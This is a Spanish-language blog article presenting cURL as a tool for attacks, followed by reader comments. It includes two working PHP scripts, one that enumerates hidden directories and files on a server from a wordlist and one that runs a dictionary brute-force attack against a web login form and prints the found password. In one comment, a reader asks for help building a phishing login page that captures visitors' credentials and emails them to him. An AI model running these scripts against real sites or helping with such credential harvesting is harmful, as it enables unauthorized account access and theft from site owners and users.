Documentación: cURL, un aliado para crear poderosas herramientas

Documentación: cURL, un aliado para crear poderosas herramientas

cURL es una herramienta para transferir archivos con sintaxis URL. Así de simple podríamos definir lo que es cURL, lo cierto es que en el proceso de uso la definición es mucho más amplia. Esta biblioteca (libcurl) es multiplataforma, puede ser usada desde la terminal o en el lenguaje de programación de preferencia ya que está soportada por más de 30 lenguajes, funciona con protocolos como HTTP/S, FTP/S, Telnet, TFTP, SSH (SFTP) y otra cantidad más.

Bueno, ¿y entonces qué puedo hacer con cURL? Complementando nuestras herramientas con cURL se pueden lograr procedimientos automatizados para SQL Injection, XSS y entre otras vulnerabilidades, brute force, búsqueda de directorios y archivos, test de stress, envío y descarga de archivos, saltar captchas y una gran cantidad más de usos en los que cURL se convierte en un magnifico aliado.

Usando cURL desde la terminal

Empecemos dando una vista a cURL desde la terminal, en Mac OS X y algunas distribuciones Linux ya viene incluida a la librería, en caso de que no, se puede instalar con:

sudo apt-get install curl libcurl3 libcurl3-dev php5-curl

El paquete php5-curl es opcional en caso de que quieras que funcione con PHP. Para versiones Windows se puede descargar desde aquí. Si se ejecuta por ejemplo:

curl www.reinfocol.org

Devuelve el contenido de la página, pasaría lo mismo si se escribe la URL de un archivo de cualquier tipo, esto es útil por ejemplo en retos de esteganografía para ver el contenido de una imagen y allí mismo buscar cabeceras de otros archivos o cadenas de texto sin necesidad de descargar el fichero.

Ejemplos útiles

Buscar archivos dentro de un servidor

El objetivo del script es tomar nombres de archivos y carpetas de un archivo (wordlist) para luego verificar si existen en el servidor.

<?php

if (defined('STDIN')) {
if (count($argv) < 2) {
echo "#######################################" .
"#  TalDirectorio www.RedInfoCol.org   #" .
"###########################################";
exit;
}
$web = $argv[1];
$archivo = $argv[2];
if (file_exists($archivo)) {
$diccionario = file($archivo);
} else {
echo "Archivo no encontrado.";
exit;
}
$fallidos = 0;
foreach ($diccionario as $recorre){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $web.$recorre);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
$estado = curl_getinfo($ch);
$respuesta=$estado['http_code'];
echo $web.$recorre. "Estado: ". $respuesta."\n";
curl_close($ch);
if ($respuesta == 301 or $respuesta == 200){
$directorios[]=$web.$recorre;
}
if ($respuesta == 404){
$fallidos++;
}
}
echo "Directorios no encontrados: ". $fallidos."\n";
echo "Directorios encontrados: ". count($directorios)."\n";
foreach ($directorios as $encontrados){
echo $encontrados."\n";
}
} else {
echo("Necesitas correr este script desde la consola.");
}
?>

Brute force a un formulario

Se realiza un ataque por diccionario a un formulario, cURL soporta varios tipos de autenticación (Basic, Digest, NTLM, Negotiate, kerberos…) de esta manera solo necesitamos cambiar un par de lineas para realizar el brute force a otros protocolos.

<?php
$web = "http://web/form.php"; // URL Formulario.
$diccionario ="diccionario.txt"; // Archivo del diccionario.
$usuario = "admin"; // Usuario, si no se conoce el proceso es igual que para el password.
$stringIncorrecto = "Incorrecto"; // Cadena de texto que aparece cuando el password es incorrecto.
$ch = curl_init(); // Se inicializa cURL.
set_time_limit(0); // Ejecucion del script sin limite.
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // No mostrar contenido
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13"); // User agent.
curl_setopt ($ch, CURLOPT_POST, true); // Permite envio de datos por POST.
foreach (file($diccionario) as $password){ // Se recorre el diccionario.
curl_setopt($ch, CURLOPT_URL, $web); // Se indica la URL del formulario.
curl_setopt ($ch, CURLOPT_POSTFIELDS, "user=".urlencode($usuario)."&pass=". urlencode($password)); // Se envian por POST los parametros user y pass.
$respuesta = curl_exec($ch); // Se ejecuta el cURL y se guarda su contenido en $respuesta.
if(!strpos($respuesta, $stringIncorrecto)){ // Si se encuentra un string diferente al incorrecto.
die("El pass es: ".$password); // Termina el script y muestra el password.
}
}
curl_close($ch); // Termina cURL
?>

Artículo en actualización.

Imagen de perfil de UrbaN77
Brian Urban es estudiante de Psicología, interesado por el desarrollo web y las nuevas tecnologías. Editor y administrador del sitio.

Artículos Relacionados

4 Comentarios

  1. santiago - Abril 3, 2012, 1:44 pm Responder

    Gordis, excelente artículo, me despejó algunas dudas que tenía con respecto a lo que era cUrl y lo que se podía hacer con esta herramienta.
    saludos

  2. Anónimo - Mayo 7, 2012, 9:57 am Responder

    […] […]

  3. William - Mayo 6, 2015, 6:04 am Responder

    Hola Amigo Me Fascina Mucho cURL Pero Aun es Muy Complicado Para Mi Sera que Me Puedes Ayudar A Solucionar Algo..

    Sera Posible Que Pueda Incluir osea lo que quiero es que crear algo como un scam pero lo que quisiera es que se puedan logear desde mi pagina y que al loggearse me extraiga datos de la misma persona que se acaba de loggear Te Agrade seria

    • William - Mayo 6, 2015, 6:11 am Responder

      A Y Que Al Extraer Los Datos Me Los Envíe A Un Email Amigo Gracias…

      Saludos

Deja un comentario

Tu email no será publicado.

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*